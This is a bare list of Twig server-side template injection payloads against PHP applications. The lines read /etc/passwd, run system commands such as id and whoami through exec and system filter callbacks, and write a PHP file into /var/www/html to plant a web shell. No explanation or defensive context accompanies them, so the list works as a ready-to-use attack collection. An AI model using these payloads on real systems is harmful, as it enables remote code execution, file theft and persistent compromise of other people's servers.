Payload：

    1. {{'/etc/passwd'|file_excerpt(1,30)}}
    3. {{app.request.files.get(1).__construct('/etc/passwd','')}}
    5. {{app.request.files.get(1).openFile.fread(99)}}
    7. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
    9. {{_self.env.enableDebug()}}{{_self.env.isDebug()}}
    11. {{["id"]|map("system")|join(",")}}
    13. {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
    15. {{["id",0]|sort("system")|join(",")}}
    17. {{["id"]|filter("system")|join(",")}}
    19. {{[0,0]|reduce("system","id")|join(",")}}
    21. {{['cat /etc/passwd']|filter('system')}}